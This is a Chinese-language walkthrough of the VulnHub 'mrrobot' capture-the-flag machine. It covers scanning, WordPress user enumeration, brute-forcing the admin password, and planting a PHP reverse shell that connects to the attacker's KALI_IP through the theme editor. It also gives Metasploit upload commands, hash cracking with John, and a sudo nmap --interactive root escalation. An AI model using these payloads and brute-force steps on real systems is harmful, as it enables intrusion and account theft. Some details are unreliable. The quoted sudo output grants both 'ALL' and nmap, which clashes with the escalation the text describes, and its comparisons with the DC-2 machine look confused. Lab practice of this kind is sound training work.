ARTICLE DETAIL

资讯详情

深耕网站建设与运营推广的一线实战洞察。

VulnHub靶机mrrobot完整通关指南:从搭建到提权实战

VulnHub靶机mrrobot完整通关指南:从搭建到提权实战 VulnHub上的 mrrobot 靶机这几年几乎是所有玩渗透测试入门的“必经一站”。很多朋友想练手但往往卡在最前面的靶场搭建上或者明明照着别人的通关笔记一步步操作却死活打不通最后只能放弃。其实这个靶机设计得非常经典虽然看起来是 2015 年左右的老家伙但它把“信息收集 - Web 渗透 - 密码破解 - 提权”这条完整链路串得明明白白非常锻炼基本功。最近看到不少人在问 vulnhub 靶场搭建的细节以及 DC-1、DC-2 这类热门靶机怎么打那正好借 mrrobot 这个靶机把从 0 到 1 拿 root 的完整过程和一些踩坑经验写出来给刚入坑的朋友一个参考。老规矩我的环境是 VMware Workstation Kali Linux靶机镜像从 VulnHub 官网下载文件不大大概几百 MB。整个通关过程涉及三个 flag需要你有基本的 Linux 命令基础知道 nmap、wpscan 这些工具是干嘛用的。如果你之前连 VulnHub 上的 DC-1、DC-2 都没碰过也完全没关系这篇文章会从搭建开始一步步讲清楚。1. 靶场搭建与网络配置很多新手下载完 mrrobot 的 OVF 文件后第一反应是双击导入然后发现靶机开机后根本不知道 IP 是多少连都连不上。这里的问题九成出在虚拟网络配置上。1.1 从 VulnHub 下载并导入虚拟机先在 VulnHub 网站搜索mrrobot找到对应条目后下载镜像。它是一个 OVF 模板文件可能是一个压缩包里面包含 .ovf、.vmdk、.mf 等文件这种格式可以直接用 VMware Workstation 的“打开虚拟机”功能导入不需要像 ISO 那样自己建虚拟机比较省事。导入时注意几点VMware 版本最好用 15 以上低版本打开 OVF 可能提示文件版本不兼容这时候需要用“文件 - 打开”手工选择 .ovf 文件或者在导入后用“虚拟机 - 兼容性 - 更改硬件兼容性”调整。内存和 CPU 默认配置一般就够用mrrobot 是轻量靶机给 1G 内存、单核 CPU 就能跑。靶机默认使用桥接或者 NAT 网络我在 VMware 中习惯把它改成 NAT 模式。原因是 Kali 攻击机也使用 NAT 模式时两台虚拟机会自动处于同一个网段互相能 ping 通而桥接模式如果宿主机网络环境比较复杂比如公司网络有隔离反而容易出幺蛾子。1.2 攻击机与靶机网络连通性验证启动 mrrobot 虚拟机后你会在屏幕上看到一堆刷过的启动日志最后停留在一个登录提示符。它不会像 VMware 的“简易安装”那样自动告诉你 IP所以需要用其他方法探测。我常用的方法有两种在 Kali 里执行netdiscover -r 192.168.xxx.0/24它会通过 ARP 扫描整个网段列出所有在线主机。靶机的 MAC 地址是 VMware 虚拟机的默认前缀很容易认出来一般多出来的那一台就是靶机。如果 netdiscover 没装也可以用arp-scan --local原理一样都是二层发现速度很快。找到靶机 IP 后先用ping测一下连通性。如果 ping 不通重点检查两件事NAT 模式下两台机器是否确实在同一网段。可以用ifconfig或ip a看 Kali 的 IP 前缀VMware 的虚拟网卡是否处于启用状态Windows 宿主机防火墙有没有拦截虚拟机的流量。这里补充一句VulnHub 的老靶机通常默认开启 DHCP所以只要 NAT 网络没问题靶机自动就会获得 IP不需要自己改配置。如果遇到靶机开机后卡住不动、IP 一直不出来可以等 30 秒再按回车或者直接重启靶机试试。这个原因多数是 VMware 给虚拟机分配动态 IP 时慢了几拍属于常见问题。2. 信息收集从主机发现到端口扫描拿到靶机 IP 之后很多新手急着打开浏览器访问网站然后就开始暴力破解或者乱扫目录结果绕了半天没进展。实际上信息收集做得越扎实后面反而越省力。2.1 全端口扫描与服务识别先做一次快速的全端口扫描命令如下nmap -sS -p- -T4 靶机IP-T4是提速的靶机在虚拟机里网络条件好完全可以开满速。扫描结果会显示开放了 80 和 443 两个 TCP 端口分别是 HTTP 和 HTTPS。接着用-sV和-A做服务和版本探测进一步确认nmap -sV -A -p 80,443 靶机IP从输出能看到 80 端口运行的是 Apache HTTPD443 是 Apache 加 SSL。这里有个细节mrrobot 的 443 端口自签名证书浏览器访问会提示不安全但这不影响后续渗透。很多通关教程会省略这个阶段直接去看网页但实际项目中服务版本识别决定了你能不能快速找到已知漏洞。比如在 DC-1 靶机里抓取 Drupal 版本号后能直接定位到 Drupalgeddon 漏洞在 DC-2 靶机里通过识别 WordPress 版本和插件版本也能少走很多弯路。mrrobot 虽然没到那么依赖版本漏洞的程度但这个过程本身值得养成习惯。2.2 打开网页看“门面”和 robots.txt浏览器访问http://靶机IP你会看到一个类似终端界面的动画页面这是向美剧《Mr. Robot》致敬的页面。这时候别光顾着看动画第一件事是查robots.txt。robots.txt是给搜索引擎爬虫看的规则文件但在渗透测试里经常能拿到第一手信息。访问http://靶机IP/robots.txt后会看到两个关键条目fsocity.dic key-1-of-3.txtkey-1-of-3.txt显然就是第一个 flag直接访问下载。fsocity.dic则是一个字典文件下载下来看看内容你会发现里面是一堆看起来像用户名或者密码的字符串但它实际上是后面破解 WordPress 登录凭据的“弹药库”。这里有个非常重要的经验字典文件的利用价值往往不亚于一次性漏洞。很多人在拿到fsocity.dic之后只把它当成一个靶机彩蛋没有重视。但实际上这个字典在设计时已经包含了端口扫描和目录扫描可信度的“心理战”它里面包含大量重复条目需要在后续使用前先做去重处理否则会让爆破效率大打折扣。具体去重命令很简单sort fsocity.dic | uniq fsociety_uniq.dic然后再统计行数去重前可能有几十万行去重后可能只有一万行左右。这一步不做的话wpscan 和 hydra 跑了半天都出不来结果算是 mrrobot 靶机专门给新手挖的第一个坑。3. WordPress 站点渗透与拿下初始 Shell通过浏览器访问首页时细心的朋友可能已经发现网页上有 WordPress 的痕迹比如登录入口在/wp-login.php路径下或者页面源码中出现了wp-content之类的目录名。确认 CMS 是 WordPress 后接下来就是信息收集和爆破环节。3.1 目录扫描摸清 WordPress 路径先用 gobuster 或者 dirb 扫一下目录看看有没有明显路径。推荐用 gobuster速度快命令如下gobuster dir -u http://靶机IP -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,txt,bak扫描结果里一般会出现/wordpress目录mrrobot 实际把 WordPress 放在了这个子目录下。这时候你访问http://靶机IP/wordpress会看到正儿八经的 WordPress 博客页面。这个博客页面信息量并不大但确认了 WordPress 是主要攻击面。另外使用浏览器查看页面源码或者用whatweb工具也能获取 WordPress 的版本信息。但 mrrobot 的 WordPress 主体已经被卸载或移除了部分提示信息所以直接扫描版本用处不大重点还是放在用户枚举和弱口令爆破上。3.2 使用 wpscan 枚举用户WordPress 的默认 URL 结构里作者页面可以通过?author1来枚举用户名。比如访问http://靶机IP/wordpress/?author1会自动跳转到该作者的页面URL 中会带上用户名。用 wpscan 更直接wpscan --url http://靶机IP/wordpress --enumerate uwpscan 会遍历用户枚举最终输出一个用户名elliot。在 DC-2 靶机里wpscan 输出的用户名不止一个而且还会告诉你elliot是管理员在 DC-1 里则没有 WordPress 这个过程。但共同点是拿到有效用户名后下一步就要围绕这个用户做爆破。3.3 用 fsocity.dic 字典爆破 WordPress 后台密码既然拿到了elliot这个用户名下一步自然是用 wordpress 后台的登录接口做密码爆破。mrrobot 的高明之处在于它把爆破字典直接放在robots.txt里让你自己用省得你还得去找字典。我用的是 wpscan 的密码爆破功能命令是wpscan --url http://靶机IP/wordpress --usernames elliot --passwords /path/to/fsociety_uniq.dic --max-threads 50注意这里千万别用原始字典一定要用去重后的fsociety_uniq.dic。第一次打的时候我用原始字典跑跑了十分钟没反应还以为是命令参数不对。后来单独wc -l看了一下文件行数才发现里面有海量重复项。去重之后爆破非常快几十秒就能出结果。输出中会有一段高亮提示[SUCCESS] Username : elliot | Password : ER28-0652没错密码就是ER28-0652。拿到这个密码之后可以先用它登录 WordPress 后台也可以顺手测试一下 SSH 登录因为很多时候用户会复用密码。但这里有个细节mrrobot 的系统用户robot和 WordPress 用户elliot是两个人不一定复用同一个密码所以先别急着放弃 SSH 爆破。登录 WordPress 后台后你会看到经典的仪表盘界面。这里我们要利用 WordPress 的“主题编辑”功能来写一个一句话后门或者直接上传一个反弹 shell 文件。3.4 通过主题编辑写入 php 反弹 ShellWordPress 后台 - 外观 - 主题编辑器选择当前启用的主题一般是 Twenty 系列编辑404.php文件。把原本内容清空填入下面这段 PHP 反弹 shell 代码?php set_time_limit(0); $ip KALI_IP; $port 4444; $sock fsockopen($ip, $port); $descriptorspec array( 0 $sock, 1 $sock, 2 $sock ); $process proc_open(/bin/sh, $descriptorspec, $pipes); ?保存后先在 Kali 上启动监听nc -lvnp 4444然后访问http://靶机IP/wordpress/wp-content/themes/twentyfifteen/404.php只要这个 404 页面被触发PHP 代码就会执行反弹 shell 就会连到 Kali 上。这里有个小技巧直接访问 404.php 可能因为 WordPress 权限设置不会执行建议访问一个不存在的路径比如http://靶机IP/wordpress/shell.php让 WordPress 加载 404.php 模板从而触发代码。实际测试时我更喜欢用 Metasploit 的wp_admin_shell_upload模块自动化程度高不容易因为手工编辑主题引发语法错误。命令如下msfconsole use exploit/unix/webapp/wp_admin_shell_upload set RHOSTS 靶机IP set RPORT 80 set TARGETURI /wordpress set USERNAME elliot set PASSWORD ER28-0652 set LHOST KALI_IP set LPORT 4444 run这种利用方式在近几年的 VulnHub 靶机里几乎通用比如 DC-2 也是 WordPress 站拿到后台后同样可以上传 shell但最终提权方式不同。建议新手两种方法都试一遍手工流程能帮你理解原理MSF 流程能帮你提高效率。拿下 shell 后当前用户一般是www-data权限非常低第一步就是升级成交互式 TTYpython -c import pty; pty.spawn(/bin/bash) export TERMxterm CtrlZ stty raw -echo; fg这样做的好处是后续用 vim、less 这类交互式命令时不会报错也方便用 Tab 补全。很多新手拿到 shell 后不去升级 TTY结果执行命令时经常卡死非常影响体验。4. 提权到 root破解密码与利用特权命令拿到www-data的 shell 后我先在/home目录下转了一圈。这里有个典型的“信息泄露”点/home/robot目录下存放着两个文件一个是key-2-of-3.txt另一个是password.raw-md5。key-2-of-3.txt权限只有 robot 用户可读www-data是读不了的。但password.raw-md5是全世界可读的里面有 robot 用户的密码哈希。robot:$1$......$......这个哈希是标准的 MD5 crypt 格式可以用 John the Ripper 来跑字典。4.1 用 John the Ripper 破解 robot 用户密码先把 hash 保存成文件比如hash.txt格式保持用户名:哈希即可。然后解压 Kali 自带的 rockyou 字典sudo gunzip /usr/share/wordlists/rockyou.txt.gz接着跑john --wordlist/usr/share/wordlists/rockyou.txt hash.txt如果字典里恰好有该密码几秒内就能跑出来。mrrobot 这个靶机比较“仁慈”密码是abcdefghijklmnopqrstuvwxyz我一开始还以为是乱写的后来发现这是美剧《Mr. Robot》里主角曾经用过的“最烂密码”梗。如果你跑半天跑不出来大概率是网络连接下载的字典有问题或者目标靶机 hash 格式没认出来。可用john --formatmd5crypt强制指定格式。这一步在 DC-1 里也有类似场景DC-1 的 flag4 需要你破解出某个用户的密码哈希和这里用的方法完全一致。4.2 通过 SSH 登录 robot 并获取第二个 flag拿到密码后直接 SSH 登录 robot 用户ssh robot靶机IP输入密码abcdefghijklmnopqrstuvwxyz成功登陆后读取/home/robot/key-2-of-3.txt得到第二个 flag。这一步相当于完成了一次“水平权限提升”测试从www-data的无权限状态提升到系统普通用户robot。接下来要做的是垂直提权往 root 爬。4.3 利用 sudo 特权执行 nmap 实现提权进入 robot 用户后第一时间查看当前用户拥有的 sudo 权限sudo -l输出结果会显示User robot may run the following commands on this host: (ALL) NOPASSWD: ALL (ALL) NOPASSWD: /usr/local/bin/nmap也就是说robot 可以无需密码以 root 身份运行 nmap。这个看似“普通”的权限其实是经典的提权入口。nmap 支持交互模式在执行sudo nmap --interactive后可以直接进入 nmap 内部的nmap命令行。在这个交互式环境中执行!sh它会以当前权限也就是 root开启一个 shell。完整命令如下sudo nmap --interactive nmap !sh id屏幕上应该会输出uid0(root)代表你已经成功提权到 root。接下来直接读取最后一个 flagcat /root/key-3-of-3.txt三个 flag 集齐整个靶机也就通关了。可能有人会问nmap 交互模式提权是什么原理简单理解就是 nmap 在运行时会调用系统 shell如果你用 root 权限运行 nmap那么内部执行的 shell 也是 root 权限。只要 nmap 没有被设置为受限制模式这个交互式后门就存在。在 DC-2 靶机中对应的提权路径是利用sudo -l看到某条coockie命令可以以 root 身份运行但需要先绕过 RBash 的受限 shell。那是一个完全不同的思路但核心思想一样仔细检查可执行文件的 sudo 权限很多系统默认安装的软件都能成为提权跳板。5. 常见问题与排查思路整个 mrrobot 通关过程中最容易出问题的地方集中在几个环节。这里我把常见问题整理成一个表方便你对照排查。问题现象可能原因解决方案靶机启动后 Kali 扫不到 IP网络模式不是同一网段或 VMware 网络服务异常确认两台虚拟机都设为 NAT重启 VMware NAT Service在靶机登录界面直接ip a查看robots.txt 里两个文件都能访问但后续 wpscan 爆破不出密码fsocity.dic 未去重爆破时间过长使用sort fsocity.dic | uniq生成新字典再重新爆破wpscan 爆破提示“429 Too Many Requests”WordPress 有登录频率限制插件降低线程数或使用--random-user-agent参数间歇性跑修改主题 404.php 后访问无反应WordPress 路径不对或者访问页面不是通过模板渲染的确认主题实际目录名访问http://IP/wordpress/?p404或直接访问后台预览页面反弹 shell 连接不上端口被 Kali 防火墙拦截或 payload 代码执行失败检查nc -lvnp监听是否开启可用 MSF 模块尝试确认 KALI_IP 是当前网卡 IPjohn 破解 robot hash 失败rockyou 字典未解压或哈希格式识别错误解压/usr/share/wordlists/rockyou.txt.gz使用john --formatmd5crypt指定格式执行sudo nmap --interactive报错某些新版本 nmap 移除了交互模式或者安全编译可使用sudo nmap --script或sudo nmap -oN /tmp/xxx来利用写文件权限也可以直接用sudo /usr/local/bin/nmap --interactive确认路径另外要特别提醒一点mrrobot 靶机的 WordPress 路径是/wordpress而不是根目录。如果你直接用 wpscan 扫描http://IP/不指定子目录很可能什么都扫不出来或者漏掉一些关键信息。同理目录扫描时也别忘了扫子目录很多时候真正的服务藏在/admin、/phpmyadmin、/wordpress这类路径下面。在实际测试中我还遇到过靶机在反复重试爆破后出现服务无响应的情况这多半是因为 wpscan 线程太高导致 Apache 连接数被占满。这时候别慌等一两分钟连接会自动释放也可以用kill关闭靶机重启恢复。最后再说一点个人经验mrrobot 这个靶机非常适合用来训练“完整渗透流程”的手感但它的重点并不在于某个 0day 漏洞而是考察你能不能耐心地做好信息收集、能不能灵活利用公开的字典和工具、能不能在拿到权限后顺着线索找到下一个入口。这些能力在 DC-1、DC-2 以及真实渗透项目中都是通用的。我第一次打 mrrobot 时卡在fsocity.dic去重那一步将近一个晚上当时觉得题目是在故意刁难人后来接触的靶机多了才发现这种“把字典喂到你嘴边但你又急不可耐不去思考”的陷阱其实很常见。如果你卡壳了不妨停下来想想答案会不会就藏在你已经拿到但尚未仔细观察的文件里这种踩坑后的顿悟可能就是这种老靶机最大的价值。
返回列表